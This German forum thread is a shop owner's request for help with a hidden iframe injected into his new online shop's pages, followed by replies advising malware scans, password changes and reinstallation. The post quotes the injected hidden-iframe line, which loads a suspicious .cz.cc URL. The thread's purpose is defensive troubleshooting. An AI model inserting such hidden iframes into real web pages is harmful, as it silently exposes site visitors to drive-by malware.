Seltsame fremde Verlinkungen im Quelltext

[Gesocks]

Hallihallo....

Habe ein etwas seltsames Problem. Bin jetzt von selfcommerce auf modified eCommerce Shopsoftwareod umgestiegen. Deswegen hab ich mir natürlich eure neue Version geholt. Erstmal dickes Lob. Aber nun zu meinem Problem: Habe den Shop letztens komplett neu aufgesetzt auf jungfräulichem Webspace inkl. neuer unbenutzter Datenbank. Dann erste Shopeinstellungen vorgenommen und als einziges im Quellcode die SSL-Unterstützung zugeschaltet. Shop befindet sich derzeit im Wartungsmodus>>>Link entfernt<<<

Um CSS zuordenen zu können hab ich mir meine Website im Browser im Quelltext angesehen. Dabei fiel mir folgende Zeile auf:  

Code: PHP  [Auswählen]

<div style="display:none"><iframe src="http://rthlsdinks.cz.cc/xp/index.php?tp=bdd9e836c0f58a18"></iframe></div>
 

Diese Zeile ist eigentlich sogut wie auf jeder Seite zu finden und das auch noch mehrfach pro Seite. Wenn man dem Link folgen möchte warnt Firefox vor einen potenziell gefährlichen Website also Spam, Bot, Virus o.ä. Ich hab den Link noch nie gesehen oder irgendwo eingegeben, aber er scheint ja irgendwo in der xtc-Engine erzeugt zu werden und dann in die Ausgabe eingebaut zu werden. Da ich das nicht getan habe muß es jemand von außerhalb getan haben oder es war schon eingebaut was ich allerdings nicht glaube da ich eurem Code schon vertraue. So und jetzt meine Fragen: Wo könnte das herkommen, wie kann das in meine Engine gelangen und vor allem wo und in welchem Bereich von xtc wird er generiert?
Vielleicht hat jemand eine plausible Idee dazu denn, ich mag eigentlich nicht von einem Sicherheitsloch in xtc sprechen wollen, aber irgendwie scheint meine Seite gehijackt worden zu sein und ich will eigentlich nicht nochmal alles komplett neu aufsetzten zu müssen. Danke schon mal für eine weiterführende Info diesbezüglich...

[EDIT Tomcraft 14.04.2011: Link entfernt zum Schutz der anderen Forenbenutzer!]



Linkback: https://www.modified-shop.org/forum/index.php?topic=12331.0

[swolfram [templatix]]

Das Sicherheitsloch in solchen Fällen ist meist der eigene PC. Oftmals hat man selber auf dem PC Schadsoftware, Trojaner etc, die die Passwörter für FTP und Co. ausspähen. Auf diesem Wege geschehen dann auch meistens die Änderungen. Kenne das leider zu genüge von der Kundschaft

Mein Rat in solchen Fällen ist immer in folgender Reihenfolge
1. Den eigenen Rechner GRÜNDLICH mit Antivirensoftware UND SpyBot Search&Destroy scannen.
2. ALLE Zugangs-Passwörter ändern im Shop, FTP, MySQL und Webhosting.
3. Die Dateien fixen bzw einfach wieder eine frische, saubere Version (Backup?) aufpsielen

Danach ist meistens dann Ruhe

[h-h-h]

Hallo Gesocks,
herzlich Willkommen im modified eCommerce Shopsoftware Forum!
Wünsche Dir viel Erfolg und Freude mit Deinem neuem Modified-Shop sowie, dass Du den Virus beseitigt bekommst.

Ich habe die Links mal ein bisschen abgeändert

Virus beim Laden von Web-Inhalten gefunden.

Adresse: htgtp://rthlsignks.cz.cc/xp/index.php?tp=bdd9e836c0f58a18
Status:    Der Zugriff wurde verweigert.

Gruß

h-h-h

[Tomcraft]

[...]
Ich habe die Links mal ein bisschen abgeändert
[...]

Ich gehe noch einen Schritt weiter und entferne die Verlinkung ganz zum Schutz der anderen Forenbenutzer!

Das Thema verschiebe in die "Bastelecke", sowas gehört nicht nach "Bugs oder Funktionsfehler", wo es um Fehler in der Shopsoftware geht.

Grüße

Torsten

[Gesocks]

Ja ist verständlich. Will ja auch nicht gleich mit meinem ersten Beitrag als Virenschleuder dastehen. Das Problem betrifft übrigens auch nur die modified eCommerce Shopsoftware Version die ich aktiv bearbeite. Andere Versionen auf anderen Domains sind seltsamerweise nicht betroffen obwohl ich die im selben Zeitraum auch installiert hatte. Hatte jetzt meinem Rechner auch durch verschieden Antivirprogs scannen lassen ist aber komplett virenfrei. Also mir ist schleierhaft, wie das passieren konnte...
Werde halt alles nochmal neu aufsetzten...

[h-h-h]

Hast Du Module oder Tempate von anderen installieren lassen?

Gruß

h-h-h

[Gesocks]

Nein hab ich nicht. Hab ihn nochmal komplett neu aufgesetzt, Datenbank komplett neu und ganz andere Passwörter. Bis jetzt ist es weg. Mir ist aber was anderes aufgefallen was ich mir nicht erklären kann. Wenn ich mir meinen Quelltext jetzt anschaue steht da am Schluss folgendes:

Code: PHP  [Auswählen]

<p><style type="text/css">FB_Addon_TelNo{
height:15px !important;
 white-space: nowrap !important;
 background-color: #0ff0ff;}</style></p>
<p><style type="text/css">FB_Addon_TelNo{
height:15px !important;
 white-space: nowrap !important;
 background-color: #0ff0ff;}</style></p>
<p><style type="text/css">FB_Addon_TelNo{
height:15px !important;
 white-space: nowrap !important;
 background-color: #0ff0ff;}</style></p>
<p><style type="text/css">FB_Addon_TelNo{
height:15px !important;
 white-space: nowrap !important;
 background-color: #0ff0ff;}</style></p><br/><br/><br/></div>
</div>
 

Was ist das und was macht das? Habe im Forum schon gesucht aber nur den Eintrag hier ("Neuer Shop: GTS Custom Seats - Spezial Motorradsitzbänke") gefunden, was darin aber auch nicht geklärt wurde. Diese komischen Einträge kommen auch im Contentmanager wenn ich im Editor auf html-Ansicht umschalte. Sie stehen dann praktisch schon im Quelltext mit drin. Dann ist mir aufgefallen das trotz Wartungsschild trotzdem 2 Gäste noch mit anwesend waren. Kann im Wartungsmodus doch gar nicht sein. Und die Krönung des ganzen ist das beide IP-Adressen aus China kamen. Werde ich hier von irgendwelchen Hackern attackiert? Vor allem kann mir mal einer sagen was der komische Quelltext bedeutet.
Ich glaub ich werde langsam paranoid...

[h-h-h]

Na, dann hast Du ein Addon für deinen Firefox installiert. Mit dem die Telefonnummern hervorgehoben werden und dann direkt über die FritzBox angewählt werden können.

Was man aus so einem FB_Addon_TelNo nicht alles erahnen kann.

Gruß

h-h-h

EDIT: suche mal nach HTACCESS und sperre Deinen Shop erstmal!

[Gesocks]

Na schau mal an man lernt nie aus. So eine kleine Ratte. Hab das Addon bisher zwar oft genutzt aber soeben gekillt. Hat doch tatsächlich Einträge beim editieren im Contentmanager hinterlassen. Direkt im Quellcode. Jetzt ist es weg. Vielen Dank für den Tipp. Hab es nämlich auch nicht löschen können. War immer wieder da... Und beim Rest werde ich sehen ob es nochmal auftritt. Danke nochmal...

[Tomcraft]

Die Skype Toolbar für FireFox macht auch so lustige Dinge.

Grüße

Torsten